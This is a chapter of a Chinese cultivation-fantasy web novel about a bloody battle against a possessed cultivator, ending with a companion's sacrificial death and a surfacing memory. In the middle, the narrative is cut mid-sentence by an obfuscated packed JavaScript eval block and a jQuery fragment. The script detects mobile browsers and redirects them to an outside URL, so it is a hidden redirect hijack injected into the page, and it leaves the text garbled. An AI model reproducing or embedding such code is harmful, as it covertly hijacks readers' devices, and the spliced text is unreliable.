“铛——”
裂空一声巨响,平地掀起丈高飓风!洛言丘似背后长眼,精准接下随春生裹满刺骨杀意的一剑。
她本就没指望这一剑能重创他,未过多纠缠,转从其他方位攻入。
不过瞬息,两人已交手数合。两道身影在剑光中交错,每一次碰撞都震得山崖嗡鸣。纵使剑锋在洛言丘身上划出深可见骨的伤口,也会转瞬愈合如初,无痕无迹,仿佛从未受过伤一般。
反观她自己,本就旧伤在身、元气未复,此刻又强行催动灵府中那团青色灵力,僵持越久,灵力反噬便愈发猛烈。她胸口气血翻涌,嘴角溢出的血迹愈发多了起来,顺着下颌滴落在染血的粉裙上,晕开更深的红。
“哐当——”
两柄长剑再度轰然相撞!一人凌空、一人立地,随春生对上他空洞无神的瞳仁,当即借势后空翻踢!洛言丘猝不及防被踹得连退数步,身形尚未稳住,一柄泛着森寒冷光的黑色长剑已如鬼魅般破风突至眼前。
“噗呲”一声,血液四溅,黑剑径直贯穿洛言丘整只左眼,滚烫的血液飞溅而出,溅红了他半张脸。可他正站在原地纹丝未动,仿佛那贯穿眼球的剧痛与他毫无干系。
而那黑色长剑的剑柄正握在断无手中,他蹙眉沉眸,正欲拧转剑锋扩大伤势,洛言丘被剑贯穿的眼窝处已渗出浓郁黑气,流淌的鲜血骤然凝止,狰狞的伤口正以肉眼可见的速度蠕动愈合。
断无见状,不耐烦“啧”了一声,反手一拔,硬生生将剑从对方眼窝处拔出,带出一连串血珠散落雪地。
当遇上实力差距如此悬殊的时刻,若器妖修为高于契主,便会成为持剑人,契主便作灵力供给者,将灵力供器妖使用,以此来抗衡强敌。
断无本是天地煞气凝聚而成的物灵器妖,有汲取对手力量为己所用的能力,可他却无法从洛言丘身上掠去半分。
这片区域早已被洛言丘封死,别说人,连只飞鸟都插翅难飞。他虽有化神期修为,又有听澜灵力支撑,可这般无意义地消耗下去,终究是死路一条。
眼下唯一的破局之法,便是找到洛言丘融入体内的那截白骨,将其强行剥离,方能打破当下绝境。
既是骨头……
随春生的目光扫过与断无打斗的洛言丘,最终沉沉落在他左胸骨往下一寸处。
那截白骨,便附着在此。
先前交手,她从没想过要打败洛言丘,不过是借缠斗探查白骨方位。她太清楚了:即便借青色灵力增幅,自己也绝非他对手;更何况灵力借得越多,反噬越烈,她此刻根本承受不起。
缠斗间,她剑指他手臂、大腿、膝盖各处,洛言丘皆毫不在意。可每当剑锋要触及其左腰附近,他总会不动声色地巧妙避开,绝不给她半分触碰的机会。
可……这会不会是他故意设下的圈套?诱她紧盯此处,实则转移注意力——那截白骨,根本不在这儿?
那么……
随春生眼神泛起冷光。
便让灵力贯穿他每一根骨头。
漫天黑雪骤然乱作飞絮,刹那间,随春生已欺至洛言丘身侧!青色灵力暴涨如焰,裹紧剑锋撕裂空气,带着刺耳破风,朝那要害狠厉斩落!
洛言丘正跟断无打得不可开交,对于骤然欺至身侧的随春生,压根未曾放在心上,不过漫不经心步下一层结界,反正她也破不了。
然而,裹满青色灵力的剑锋落下,那结界竟如裂帛般被轻易撕碎。
洛言丘一直以来冰封的面庞徒然裂开一道细纹,空洞的双瞳闪过一丝不易察觉的意外,眼底渐显不耐。
他不再与断无缠斗,挺剑直刺其胸膛,将人狠狠掀飞。
断无如断线的风筝般倒飞出去,接连撞穿数道山壁才堪堪止住去势,重重砸落在地,一张口便喷出一大口鲜血。
另一边,洛言丘周身黑气暴涨,徒手悍然攥住那灌满强悍灵力的剑锋。
黑气自他掌心疯涨,瞬间缠上剑刃,疾攀而上欲锁她手臂。
随春生眼神一凛,身形一晃,松剑刹那,冰蓝翎羽自掌心乍现,化作流光破风直贯他左胸骨往下一寸处。
利器入肉声炸开,冰晶以伤口为中心迸裂,自内而外贯穿洛言丘全身,雪花卷着碎冰翻飞。
后冲力将洛言丘掀飞出去,钉在山壁上,鲜血从嘴角溢出,他睁大双眼,不可置信替代了眼底的空洞。
不待洛言丘回神,冷光自眼侧闪过,断臂横飞而出。随春生手中木制匕首消散,抬手接住断臂,从其掌中取回自己的剑,随手掷在一旁。
刚松手,她便猛地咳出一大口鲜血,胸口剧烈起伏,眼前发黑,却仍强撑着抬眼,死死盯住山壁上的洛言丘,看向左胸骨下一寸处,那处是她赌的白骨所在,可洛言丘一动不动,连漫天涌动的黑气都凝在半空,纹丝不动。
刺骨的危险气息悄然漫来,随春生脊背瞬间窜起寒意。
雪地里,那截被斩断的断臂开始抽搐,肉芽疯长,骨骼咔咔作响,以肉眼可见的速度愈合归位。
“嗬……嗬嗬……”
低沉的笑声从洛言丘喉间溢出,打破死寂。他原本空洞无神的双眼,此刻骤然染上蚀骨狠厉,死寂褪尽,只剩淬了冰的杀意。
“真是命大,怎么都杀不死。”
随春生耳边嗡鸣一片,洛言丘的话语模糊不清,只剩唇瓣开合的虚影。但她无比确定,眼前的“洛言丘”早已不是原本的他。
先前的洛言丘虽眼神死寂,却仍是本人,不过是失了意识、凭本能行动;而此刻钉在山壁上的身影,周身裹着化不开的阴冷,眼神如缠颈毒蛇,吐着冰冷信子,让人本能地汗毛倒竖。
唯一不变的,是那几乎要将她洞穿的实质杀意。洛言丘素来厌她、欲除之而后快,她岂会不知?
从前不杀他,不过是从未将他放在眼里过。
然而,眼前这位“洛言丘”,为何对她有如此大的杀意?
她来不及细想,脑内刺痛阵阵袭来,打乱了她的思绪。
“洛言丘”抬眼望来,洞穿的腰腹处,一截萦绕黑气的白骨裂开长缝。黑气翻涌而上,血肉瞬间蠕动再生。他声音沙哑如磨石,带着不容置喙的狠绝:“不过今日,便是你丧命之时。”
话音未落,他探手攥住贯穿胸腔的冰晶,猛地向外一拔!冰晶碎裂,鲜血喷涌如注,他却浑然不觉,身形一动便挣脱山壁束缚。周身黑气暴涨如墨,朝着随春生悍然杀来!
随春生惊觉致命危机逼近,想退,四肢却被钉在原地,无法动弹。
刚搀扶起断无的听澜见状,瞳孔骤缩,心脏骤停:“随春生!”
他立刻松开断无,朝着她极速飞去。可两人相隔的距离,终究是来不及了——但他仍拼尽全力,想要冲到她身边。
莫泽早已持剑迎上“洛言丘”,却被一掌击飞。黑气化刃,径直刺穿他的腰腹,将他狠狠钉在地上,掀起的黑雪溅满他的脸庞。
与此同时,一道黑气击中他手中长剑,戏鱼被打回人形,在雪地上翻滚数圈,后背撞上山壁才停下,呕出一口鲜血,昏死过去。
莫泽伸手去握那黑气利刃,想拔出它去查看戏鱼的状况。可指尖刚触到刃身,黑气便疯狂缠上,啃噬他的血肉。鲜血不断从他嘴角溢出,他却死死攥着锋刃不肯松手。可那利刃如焊在骨头上一般,纹丝不动。
视线渐渐模糊,意识开始沉入昏沉,莫泽伸出血肉模糊的手,想要触碰不远处的戏鱼,最终却无力地砸落雪地。
另一边,断无早已被钉在石壁上,不知生死。
冲向随春生的听澜也被一道黑气掀飞,重重撞在石壁上,骨骼碎裂的声响清晰可闻。他吐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992023|193757||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出一大口鲜血,浅蓝衣衫被血浸透,沉重得连风都无法吹动。
身子摔在地上,他半边脸埋进积雪,指尖抠进雪地,想撑着爬起,可无论他怎么努力,身躯仍旧像被死死焊在地上般,不动分毫。
“随春生……”
他不甘心就此闭眼,死死盯着前方,意识却渐渐陷入昏沉。
昏迷前,他看见的最后一幕是——
“洛言丘”的手,距随春生的心脏只剩一寸!
“姐姐!”
早在“洛言丘”击退莫泽的刹那,雪青攸便被黑气击中,从随春生掌心脱离。
他起身欲瞬移至她身边,却猛地呕出一大口血,身形踉跄着半跪雪地,一抹金色裂痕已攀上他苍白的侧脸。
随春生被死死钉在原地动弹不得,只能眼睁睁看着“洛言丘”步步逼近。
灵力反噬太过狠厉,身体各处都在渗血,此刻的她,竟连一丝灵力也使不出来。
今日怕是难逃一死。
可她不怕。修仙本就是在生死之间游荡,弱肉强食的世道里,哪能次次死里逃生?
她只怨自己还不够强。
但若要死,洛言丘也得陪葬。
随春生抬眸望向袭来的身影,眼尾扬起一抹张扬,恰似寒夜逢春,于绝境里绽出一点烈艳生机。
利爪即将贯穿心脏的瞬间——
一只墨色灵蝶倏然从她眼前掠过。
“噗呲——”
利爪贯穿了墨衣男人的胸膛,滚烫的血珠溅在随春生错愕的脸上。
“箫临川?!”
与此同时一道灵力从随春生体内窜出,直刺向“洛言丘”。
“洛言丘”被这道灵力击中倒飞出去,狠狠砸在石壁上。
箫临川脱力栽倒,朝随春生倒去。她赶忙伸手稳稳托住他下坠的身躯,顺势屈膝跪坐雪地。
“箫临川?”她瞳孔震颤,掌心死死按住他心口血洞,妄图堵住喷涌的鲜血,可滚烫的血珠仍从指缝间疯狂溢出,浸红了她整片掌心。
箫临川枕在她膝头,本想扯出一抹笑宽慰她,却连扬起嘴角的力气都无。他颤巍巍抬起手,攥住她的手腕,缓缓摇头。
“没事的,别自责……器妖保护契主,本就是天经地义的事。”
“本来想等之后有空再跟你说的,现在看来,是没机会了。”
他咽了口涌到喉咙的血沫,气息断断续续地说:“你总招器妖讨厌,不是你的问题——是有人在你身上下了术法。只要修为比那个施法者低,器妖都会不由自主地厌恶你。”
声音越来越轻,他的气息弱得像一缕烟,攥着随春生手腕的手慢慢滑落:“只要让施法者收回术法便能解除,或者修为超过他,术法也能自动解开。”
他嘴角淌出的血越来越多,眼皮慢慢耷拉下来,嘴角却牵起一丝极淡的笑:“再见了,随春生。”
话音刚落,他搭在随春生腕上的手彻底垂落。随春生瞳孔猛地一缩,一段全然陌生的记忆骤然冲破桎梏,疯了似的涌进脑海!
画面里血流成河,地上横七竖八躺着四名锦衣修者。穿嫩黄衣裙的小姑娘嘴角淌血,满身血污地躺在青衣女子膝头,笑着呢喃:“再见了,阿随姐姐,一定要幸福呀。”
好痛!她是谁?为何她会感到如此悲哀?
唯有那青衣女子的身影,她再熟悉不过了。
偶有做梦,梦中皆有她的身影。
忆起当初自己中冷髓、陷入梦境时,与青衣女子一同被洞穿的黄衣男子,钝痛铺天盖地席卷而来。随春生猛地呕出一大口血,脑中轰然一片空白,再也支撑不住,直直昏了过去。
阖眼前,她望见雪青攸挡在自己身前,以及蔓延至他侧颜大半的金色裂痕。
与此同时,一道光罩轻柔地落在她上方。